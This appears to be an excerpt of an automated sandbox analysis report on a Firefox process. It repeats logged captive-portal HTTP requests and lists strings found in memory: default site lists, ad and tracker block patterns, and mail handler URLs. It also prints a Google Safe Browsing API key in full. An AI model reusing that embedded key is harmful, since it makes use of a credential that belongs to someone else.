Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://id.rambler.ru/rambler-id-helper/auth_events.js://www.gstatic.com/firebasejs//firebase-messaging.jsresource://gre/modules/MessageManagerProxy.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php--panel-banner-item-update-supported-bgcolor://trends.google.com/trends/embedexecuteIDB/promise</transaction.onabort equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3275905503.0000021BFC31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3272696566.0000021BFC0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3275905503.0000021BFC31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3272696566.0000021BFC0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3320546777.0000021BFD180000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3275905503.0000021BFC31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3102930133.0000021BFC466000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileUtils_openSafeFileOutputStream://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.jsFileUtils_closeSafeFileOutputStream://static.criteo.net/js/ld/publishertag.js://connect.facebook.net//sdk.js@mozilla.org/network/atomic-file-output-stream;1pictureinpicture%40mozilla.org:1.0.0@mozilla.org/addons/addon-manager-startup;1webcompat-reporter%40mozilla.org:1.5.1://pub.doubleverify.com/signals/pub.js://libs.coremetrics.com/eluminate.jsFileUtils_closeAtomicFileOutputStreamwebcompat-reporter@mozilla.org.xpi://connect.facebook.net//all.jsresource://gre/modules/FileUtils.sys.mjs://static.chartbeat.com/js/chartbeat_video.jshttps://smartblock.firefox.etp/play.svg://.imgur.io/js/vendor..bundle.js://cdn.branch.io/branch-latest.min.js://web-assets.toggl.com/app/assets/scripts/.js://static.chartbeat.com/js/chartbeat.js://www.google-analytics.com/analytics.js://www.googletagmanager.com/gtm.js://ssl.google-analytics.com/ga.js://www.googletagservices.com/tag/js/gpt.js://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.js://imasdk.googleapis.com/js/sdkloader/ima3.js://.moatads.com//moatheader.js://www.google-analytics.com/gtm/js://s.webtrends.com/js/advancedLinkTracking.js://cdn.optimizely.com/public/.js://s0.2mdn.net/instream/html5/ima3.js://s.webtrends.com/js/webtrends.min.js://pagead2.googlesyndication.com/tag/js/gpt.js://www.google-analytics.com/plugins/ua/ec.js://.vidible.tv//vidible-min.js*://js.maxmind.com/js/apis/geoip2//geoip2.js*://s.webtrends.com/js/webtrends.jsresource://gre/modules/DeferredTask.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unable to start devtools server on @mozilla.org/network/protocol;1?name=defaultresource://devtools/shared/security/socket.js@mozilla.org/network/protocol;1?name=file^([a-z+.-]+:\/{0,3})([^\/@]+@).+releaseDistinctSystemPrincipalLoaderresource://devtools/server/devtools-server.jsGot invalid request to save JSON dataNo callback set for this channel.browser.fixup.dns_first_for_single_wordsdevtools.performance.popup.feature-flag^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)DevToolsStartup.jsm:handleDebuggerFlagbrowser.fixup.domainsuffixwhitelist.devtools.debugger.remote-websocketJSON Viewer's onSave failed in startPersistence@mozilla.org/uriloader/handler-service;1devtools.performance.recording.ui-base-url^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?browser.urlbar.dnsResolveFullyQualifiedNamesFailed to execute WebChannel callback:devtools/client/framework/devtools-browserget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP@mozilla.org/dom/slow-script-debug;1Failed to listen. Listener already attached.get FIXUP_FLAGS_MAKE_ALTERNATE_URI{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Failed to listen. Callback argument missing.WebChannel/this._originCheckCallbackDevTools telemetry entry point failed: resource://gre/modules/FileUtils.sys.mjshttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1@mozilla.org/network/file-input-stream;1extension/default-theme@mozilla.org/extendedDataresource://gre/modules/JSONFile.sys.mjshttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/URIFixup.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/ExtHandlerService.sys.mjs_finalizeInternal/this._finalizePromise<resource://gre/modules/NetUtil.sys.mjshandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/JSONFile.sys.mjsScheme should be either http or httpsCan't invoke URIFixup in the content processextractScheme/fixupChangedProtocol<resource://gre/modules/FileUtils.sys.mjs_injectDefaultProtocolHandlersIfNeededisDownloadsImprovementsAlreadyMigratedget FIXUP_FLAG_FORCE_ALTERNATE_URIhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%sgecko.handlerService.defaultHandlersVersion@mozilla.org/uriloader/local-handler-app;1https://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/DeferredTask.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}@mozilla.org/network/simple-stream-listener;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStream@mozilla.org/scriptableinputstream;1Must have a source and a callbackhttps://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/network/async-stream-copier;1@mozilla.org/network/input-stream-pump;1Non-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1https://mail.inbox.lv/compose?to=%snewChannel requires a single object argumenthttps:
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3275905503.0000021BFC31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3272696566.0000021BFC0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3275905503.0000021BFC31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3272696566.0000021BFC0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
